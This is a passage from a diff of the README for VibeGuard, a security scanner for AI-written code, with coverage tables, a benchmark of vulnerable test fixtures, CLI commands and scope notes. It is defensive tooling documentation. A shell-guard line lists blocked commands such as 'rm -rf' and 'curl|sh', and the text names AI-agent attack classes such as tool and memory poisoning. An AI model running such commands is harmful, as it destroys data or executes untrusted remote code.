+ | Post-edit hook | Auto-scans files after AI agent edits them |
209
+ | Shell guard | Blocks dangerous commands (`rm -rf`, `sudo`, `curl\|sh`) before execution |
210
+
211
+ All state in `.vibeguard/auto.json`. Idempotent — safe to run twice. `--stop` restores everything byte-for-byte.
212
+
213
+ Flags: `--ci` (pipeline mode, exit non-zero on critical), `--fix` (apply safe auto-fixes), `--no-shell`, `--strict`.
214
+
215
+ ---
216
+
217
+ ## Confidence + Inline Suppression
218
+
219
+ Every finding has a confidence level:
220
+
221
+ | Confidence | Meaning |
222
+ |------------|---------|
223
+ | `high` | Dataflow-confirmed — input traced to sink via AST |
224
+ | `medium` | Multi-signal regex with validation logic |
225
+ | `low` | Bare regex match — heuristic hint |
226
+
227
+ ```bash
228
+ vibeguard scan --min-confidence medium # hide low-confidence hints (default)
229
+ vibeguard scan --all # show everything
230
+ ```
231
+
232
+ Suppress inline with a reason:
233
+ ```js
234
+ const key = "sk_live_..."; // vibeguard-ignore[secret.stripe-live-key]: test fixture
235
+ ```
236
+
237
+ ---
238
+
239
+ ## Coverage & Limits
240
+
241
+ Detection depth is **not uniform across languages** — be honest about what you're getting:
242
+
243
+ | Language | Secrets / patterns | Dataflow taint | Engine |
244
+ |----------|:---:|:---:|--------|
245
+ | JavaScript / TypeScript | Full | Interprocedural + cross-file | AST (acorn) |
246
+ | Python | Full | Heuristic (line-proximity, single-file) | regex |
247
+ | Go | Full | Targeted rules (`fmt.Sprintf` SQL) | regex |
248
+ | Java / PHP / Ruby / C# / Rust | Full | Pattern-only | regex |
249
+ | Kotlin / Swift / Bash | Full | Pattern-only | regex |
250
+
251
+ **Engine modes.** Full precision needs the optional `acorn` parser. Without it VibeGuard runs `regex-only` and says so loudly on every scan:
252
+
253
+ ```
254
+ ⚠ engine: regex-only — acorn not installed, AST/taint precision disabled.
255
+ ```
256
+
257
+ Install precision: `npm i -D acorn acorn-walk acorn-typescript`.
258
+
259
+ **Fail-loud, never fail-silent.** If any analysis pass errors or a file fails to parse, VibeGuard reports degraded coverage instead of pretending the scan was clean:
260
+
261
+ ```
262
+ ⚠ degraded coverage: 2 file(s) not fully analyzed [passes: ast, taint].
263
+ ```
264
+
265
+ Use `vibeguard scan --strict` to make a degraded scan a hard failure (exit 3) in CI.
266
+
267
+ **Fast modes.** `--changed` rescans only files changed since the last scan (SHA-256 cache; ~100x+ faster warm re-scans). `--staged` scans only git-staged files — ideal for a pre-commit hook. Both are per-file (cross-file analysis skipped; run a full scan for that).
268
+
269
+ **The shell guard is a mistake-catcher, not a sandbox.** It normalizes common obfuscation (base64, `$IFS`, variable indirection, quote-splitting) and blocks accidental / AI-generated dangerous commands. A determined adversary who knows the patterns can still evade it — it is not sandbox-escape prevention.
270
+
271
+ ---
272
+
273
+ ## Benchmark
274
+
275
+ Measured against a curated corpus of 121 files (90 vuln + 31 clean). Not a vanity number.
276
+
277
+ <!-- BENCHMARK:START -->
278
+ <!-- Auto-generated by `npm run benchmark` — do not edit manually -->
279
+
280
+ ## Summary
281
+
282
+ | Category | TP | FP | FN | Precision | Recall | F1 |
283
+ |----------|----|----|----|-----------|--------|----|
284
+ | injection | 43 | 5 | 6 | 89.6% | 87.8% | 88.7% |
285
+ | secrets | 19 | 7 | 2 | 73.1% | 90.5% | 80.9% |
286
+ | xss | 16 | 0 | 1 | 100.0% | 94.1% | 97.0% |
287
+ | path-traversal | 9 | 1 | 1 | 90.0% | 90.0% | 90.0% |
288
+ | ai-safety | 8 | 2 | 6 | 80.0% | 57.1% | 66.7% |
289
+ | **OVERALL** | **95** | **15** | **16** | **86.4%** | **85.6%** | **86.0%** |
290
+
291
+ ## Per-Category Details
292
+
293
+ ### injection
294
+
295
+ | File | Rule ID | Verdict |
296
+ |------|---------|---------|
297
+ | sql-concat.js | `code.sql-injection` | TP |
298
+ | sql-concat.js | `taint.sql-injection` | TP |
299
+ | sql-concat2.js | `code.sql-injection` | TP |
300
+ | sql-concat2.js | `taint.sql-injection` | TP |
301
+ | sql-concat3.js | `code.sql-injection` | TP |
302
+ | sql-template.js | `db.sql-template-literal` | TP |
303
+ | sql-template.js | `taint.sql-injection` | FN |
304
+ | sql-template2.js | `db.sql-template-literal` | FN |
305
+ | sql-template2.js | `taint.sql-injection` | TP |
306
+ | sql-template3.js | `db.sql-template-literal` | TP |
307
+ | sql-template3.js | `taint.sql-injection` | FN |
308
+ | sql-raw-rb.js | `code.sql-injection` | TP |
309
+ | sql-raw2.js | `db.sql-template-literal` | TP |
310
+ | sql-knex.js | `code.sql-injection` | TP |
311
+ | sql-knex.js | `mikroorm.identifier-from-request` | FP |
312
+ | sql-sequelize.js | `code.sql-injection` | TP |
313
+ | sql-fstring.py | `py.sql-injection` | TP |
314
+ | sql-fstring2.py | `py.sql-injection` | TP |
315
+ | sql-py-concat.py | `py.sql-injection` | FN |
316
+ | sql-sprintf.go | `go.sql-fmt-sprintf` | TP |
317
+ | sql-sprintf.go | `go.sql-injection` | FP |
318
+ | sql-sprintf2.go | `go.sql-fmt-sprintf` | TP |
319
+ | sql-sprintf2.go | `go.sql-injection` | FP |
320
+ | sql-kotlin.kt | `kotlin.sql-injection` | TP |
321
+ | sql-csharp.cs | `csharp.sql-injection` | TP |
322
+ | cmd-concat.js | `taint.command-injection` | TP |
323
+ | cmd-concat.js | `ast.command-injection` | TP |
324
+ | cmd-template.js | `taint.command-injection` | TP |
325
+ | cmd-template.js | `ast.command-injection` | TP |
326
+ | cmd-concat2.js | `taint.command-injection` | TP |
327
+ | cmd-concat2.js | `ast.command-injection` | TP |
328
+ | cmd-spawn.js | `taint.command-injection` | FN |
329
+ | cmd-py.py | `py.os-system` | TP |
330
+ | cmd-py2.py | `py.subprocess-shell-true` | TP |
331
+ | cmd-py3.py | `py.os-system` | TP |
332
+ | cmd-go.go | `go.command-injection` | TP |
333
+ | eval-input.js | `ast.eval-dynamic` | TP |
334
+ | eval-template.js | `ast.eval-dynamic` | TP |
335
+ | eval-template.js | `taint.code-injection` | FP |
336
+ | eval-new-function.js | `ast.function-constructor` | TP |
337
+ | eval-new-function.js | `ast.mass-assignment` | FP |
338
+ | nosql.js | `ast.nosql-injection` | TP |
339
+ | nosql2.js | `ast.nosql-injection` | TP |
340
+ | nosql3.js | `ast.nosql-injection` | TP |
341
+ | nosql-where.js | `ast.nosql-injection` | TP |
342
+ | proto-poll.js | `injection.prototype-pollution` | TP |
343
+ | proto-poll.js | `ast.mass-assignment` | TP |
344
+ | proto-poll2.js | `injection.prototype-pollution` | TP |
345
+ | proto-poll3.js | `injection.prototype-pollution` | TP |
346
+ | ssrf.js | `ast.ssrf` | TP |
347
+ | ssrf2.js | `ast.ssrf` | FN |
348
+ | ssrf2.js | `taint.ssrf` | TP |
349
+ | open-redirect.js | `web.open-redirect` | TP |
350
+ | open-redirect2.js | `taint.open-redirect` | TP |
351
+
352
+ ### secrets
353
+
354
+ | File | Rule ID | Verdict |
355
+ |------|---------|---------|
356
+ | openai-key.js | `secret.openai-key` | TP |
357
+ | openai-key2.js | `secret.anthropic-key` | TP |
358
+ | github-token.js | `secret.github-token` | TP |
359
+ | github-token2.js | `secret.github-token` | TP |
360
+ | github-token2.js | `secret.high-entropy` | FP |
361
+ | stripe-key.js | `secret.stripe-live-key` | TP |
362
+ | stripe-key.js | `secret.generic-credential` | TP |
363
+ | stripe-key.js | `stripe.key-in-client` | FP |
364
+ | stripe-restricted.js | `secret.stripe-restricted-key` | TP |
365
+ | slack-token.js | `secret.slack-token` | TP |
366
+ | gitlab-token.js | `secret.gitlab-token` | TP |
367
+ | sendgrid-key.js | `secret.sendgrid-key` | TP |
368
+ | npm-token.js | `secret.npm-token` | TP |
369
+ | npm-token.js | `secret.high-entropy` | FP |
370
+ | gcp-key.js | `secret.gcp-api-key` | FN |
371
+ | private-key.js | `secret.private-key` | TP |
372
+ | aws-key.js | `secret.aws-access-key` | TP |
373
+ | mailgun-key.js | `secret.mailgun-key` | TP |
374
+ | mailgun-key.js | `secret.high-entropy` | FP |
375
+ | telegram-token.js | `secret.telegram-bot-token` | FN |
376
+ | resend-key.js | `secret.resend-key` | TP |
377
+ | conn-string.js | `secret.conn-string-password` | TP |
378
+ | conn-string.js | `secret.connection-string` | FP |
379
+ | generic-secret.js | `secret.generic-credential` | TP |
380
+ | docker-build-arg.js | `secret.docker-build-arg` | TP |
381
+ | docker-build-arg.js | `ai.key-in-url` | FP |
382
+ | env-secret.js | `secret.aws-secret-in-env` | TP |
383
+ | env-secret.js | `secret.high-entropy` | FP |
384
+
385
+ ### xss
386
+
387
+ | File | Rule ID | Verdict |
388
+ |------|---------|---------|
389
+ | reflected-xss.js | `xss.reflected-response` | TP |
390
+ | reflected-xss.js | `taint.xss-reflected` | TP |
391
+ | reflected-xss2.js | `xss.reflected-response` | TP |
392
+ | reflected-xss2.js | `taint.xss-reflected` | TP |
393
+ | reflected-xss3.js | `xss.reflected-response` | TP |
394
+ | reflected-xss3.js | `taint.xss-reflected` | TP |
395
+ | reflected-xss4.js | `xss.reflected-response` | TP |
396
+ | reflected-xss4.js | `taint.xss-reflected` | TP |
397
+ | innerhtml.js | `injection.xss-angular-innerHTML` | TP |
398
+ | innerhtml.js | `taint.xss-dom` | TP |
399
+ | innerhtml2.js | `injection.xss-innerhtml-direct` | TP |
400
+ | innerhtml2.js | `taint.xss-dom` | TP |
401
+ | dangerously-html.jsx | `react.dangerous-html` | TP |
402
+ | dangerously-html2.jsx | `react.dangerous-html` | TP |
403
+ | dangerously-html2.jsx | `ai.llm-output-dom` | TP |
404
+ | vue-v-html.js | `injection.xss-vue-v-html` | FN |
405
+ | eval-llm-output.js | `ai.llm-output-dom` | TP |
406
+
407
+ ### path-traversal
408
+
409
+ | File | Rule ID | Verdict |
410
+ |------|---------|---------|
411
+ | read-concat.js | `taint.path-traversal` | TP |
412
+ | sendfile.js | `taint.path-traversal` | TP |
413
+ | read-template.js | `taint.path-traversal` | TP |
414
+ | read-template.js | `ai.tool-broad-file-access` | TP |
415
+ | write-concat.js | `taint.path-traversal` | TP |
416
+ | unlink-concat.js | `taint.path-traversal` | TP |
417
+ | create-read-stream.js | `taint.path-traversal` | TP |
418
+ | append-file.js | `taint.path-traversal` | TP |
419
+ | path-join-template.js | `taint.path-traversal` | FN |
420
+ | path-join-template.js | `upload.filename-path-traversal` | TP |
421
+ | allowlist.js | `taint.path-traversal` | FP |
422
+
423
+ ### ai-safety
424
+
425
+ | File | Rule ID | Verdict |
426
+ |------|---------|---------|
427
+ | user-in-system-prompt.js | `ai.user-input-in-system-prompt` | TP |
428
+ | llm-output-exec.js | `ai.llm-output-exec` | TP |
429
+ | llm-output-exec.js | `taint.command-injection` | TP |
430
+ | llm-output-exec.js | `ai.llm-output-shell` | FP |
431
+ | llm-output-exec.js | `ast.command-injection` | FP |
432
+ | agent-loop-no-cap.js | `ai.agent-loop-no-cap` | TP |
433
+ | model-id-user-input.js | `ai.model-id-injection` | TP |
434
+ | tool-result-injection.js | `ai.tool-result-injection` | FN |
435
+ | agent-memory-poison.js | `ai.memory-poisoning` | FN |
436
+ | tool-poisoning.js | `ai.tool-poisoning` | TP |
437
+ | tool-poisoning.js | `ai.mcp-description-injection-deep` | TP |
438
+ | prompt-extraction.js | `ai.prompt-extraction` | FN |
439
+ | llm-output-dom.js | `ai.llm-output-dom` | TP |
440
+ | agent-deploy.js | `ai.agent-can-deploy` | FN |
441
+ | agent-secrets.js | `ai.agent-can-access-secrets` | FN |
442
+ | model-id-template.js | `ai.model-id-injection` | FN |
443
+
444
+ ## Methodology
445
+
446
+ - **True Positive (TP)**: Expected rule fires on a vuln file.
447
+ - **False Positive (FP)**: Any finding on a clean file, or an unexpected rule on a vuln file.
448
+ - **False Negative (FN)**: Expected rule that did not fire on a vuln file.
449
+ - **Precision** = TP / (TP + FP)
450
+ - **Recall** = TP / (TP + FN)
451
+ - **F1** = 2 * (Precision * Recall) / (Precision + Recall)
452
+
453
+ Generated: 2026-07-12T18:25:03.049Z
454
+
455
+ <!-- BENCHMARK:END -->
456
+
457
+ Run `npm run benchmark` to reproduce. Per-category breakdown in `test/benchmark/benchmark-results.md`.
458
+
459
+ ---
460
+
461
+ ## Commands
462
+
463
+ ```bash
464
+ vibeguard scan [dir] # scan a project (auto-detects framework)
465
+ vibeguard scan --fix # scan + apply safe auto-fixes
466
+ vibeguard scan --all # show all findings including low-confidence
467
+ vibeguard scan --patch # output unified diff for fixes
468
+ vibeguard agent-scan [dir] # AI agent security posture grade
469
+ vibeguard mcp-audit # audit MCP servers for poisoning/drift
470
+ vibeguard guard-action "cmd" # inspect an agent action before running
471
+ vibeguard auto [dir] # full protection (daemon + hooks + shell guard)
472
+ vibeguard auto --stop # turn off, restore backups
473
+ vibeguard fix [dir] # auto-fix 43 rule types
474
+ vibeguard pre-deploy [dir] # 13-gate deployment check
475
+ vibeguard mcp # MCP server (for AI client integration)
476
+ vibeguard guard "command" # check a shell command before running it
477
+ vibeguard url <url> # scan HTTP headers for security misconfig
478
+ vibeguard pii-text "text" # detect PII in text (email, SSN, card, phone)
479
+ vibeguard cve <package> # check a package version for known CVEs
480
+ vibeguard install-hook # git pre-commit hook (blocks on critical)
481
+ vibeguard install-hook-post # PostToolUse hook (auto-scan AI edits)
482
+ vibeguard init-ci # generate CI/CD workflow files
483
+ ```
484
+
485
+ ---
486
+
487
+ ## Privacy
488
+
489
+ VibeGuard runs entirely on your machine. No telemetry, no analytics, no network calls by default.
490
+
491
+ | Command | Network? |
492
+ |---------|---------|
493
+ | `scan`, `fix`, `auto`, `mcp`, `install` | Never |
494
+ | `cve` (package name lookup) | Opt-in, OSV.dev only |
495
+ | `url` (header scan) | Opt-in, URL you provide |
496
+
497
+ The runtime interceptor adds guardrails that make data exfiltration significantly harder — it wraps `fetch`, `http.request`, `child_process.exec`, and `fs.readFileSync` to block outbound secrets, PII, and sensitive file access. It is not a sandbox escape prevention layer.
498
+
499
+ ---
500
+
501
+ ## Honest Scope
502
+
503
+ VibeGuard catches the mechanical security holes that AI coding tools leave behind. It does **not**:
504
+
505
+ - Prove your app is safe or leak-proof
506
+ - Track personal data end-to-end through your app
507
+ - Judge business logic flaws
508
+ - Replace a real security review for anything touching money, auth, or personal data
509
+
510
+ It raises the floor fast — catching the holes that AI tools create by default. The benchmark numbers above are honest: 86.0% F1 means it misses ~14% of real issues and produces some false positives. Run `npm run benchmark` to reproduce. Read the per-category details in `test/benchmark/benchmark-results.md` before relying on it.
511
+
512
+ ---
513
+
514
+ ## Languages
515
+
516
+ JavaScript, TypeScript, Python, Go, Java, Ruby, PHP, C#, Rust, Kotlin, Swift, Bash, SQL, YAML. Language-specific rules are gated by file extension — Go rules don't fire on `.js` files.
517
+
518
+ ---
519
+
520
+ ## CI/CD
521
+
522
+ ```bash
523
+ vibeguard auto --ci # non-interactive, exit non-zero on critical
524
+ vibeguard init-ci # generate GitHub Actions workflow
525
+ vibeguard scan --output sarif # SARIF output for GitHub Code Scanning
526
+ ```
527
+
528
+ Templates included for GitLab CI, Jenkins, CircleCI, Azure Pipelines.
529
+
530
+ ---
531
+
532
+ ## Development
533
+
534
+ ```bash
535
+ npm install
536
+ npm test # 356 tests, 0 failures
537
+ npm run benchmark # precision/recall/F1
538
+ npm run counts # verify rule/tool counts match source
539
+ npm run lint # 0 errors
540
+ ```
541
+
542
+ ---
543
+
544
+ ## License
545
+
546
+ MIT. Free forever. No ads. No tracking. No data collection.
547
+
548
+ ---
549
+
550
+ <div align="center">
551
+
552
+ ## Built by Yagyesh Vyas
553
+
554
+ <p>
555
+ <a href="https://github.com/yagyeshVyas"><img src="https://img.shields.io/badge/GitHub-yagyeshVyas-181717?style=for-the-badge&logo=github&logoColor=white" alt="GitHub" /></a>
556
+ <a href="https://www.linkedin.com/in/yagyeshvyas"><img src="https://img.shields.io/badge/LinkedIn-Yagyesh%20Vyas-0A66C2?style=for-the-badge&logo=linkedin&logoColor=white" alt="LinkedIn" /></a>
557
+ <a href="https://www.npmjs.com/~yagyeshvyas"><img src="https://img.shields.io/badge/npm-@yagyeshvyas-CB3837?style=for-the-badge&logo=npm&logoColor=white" alt="npm" /></a>
558
+ <a href="https://vibe-guard-site-ivory.vercel.app/"><img src="https://img.shields.io/badge/Website-vibe--guard--site-ivory.vercel.app-000000?style=for-the-badge&logo=vercel&logoColor=white" alt="Website" /></a>
559
+ </p>
560
+
561
+ Found a bug? [Open an issue](https://github.com/yagyeshVyas/VibeGuard/issues). &bull; Have a question? [Start a discussion](https://github.com/yagyeshVyas/VibeGuard/discussions).
562
+
563
+ <sub>&copy; 2026 Yagyesh Vyas. Released under the MIT License.</sub>
564
+
500
565
  </div>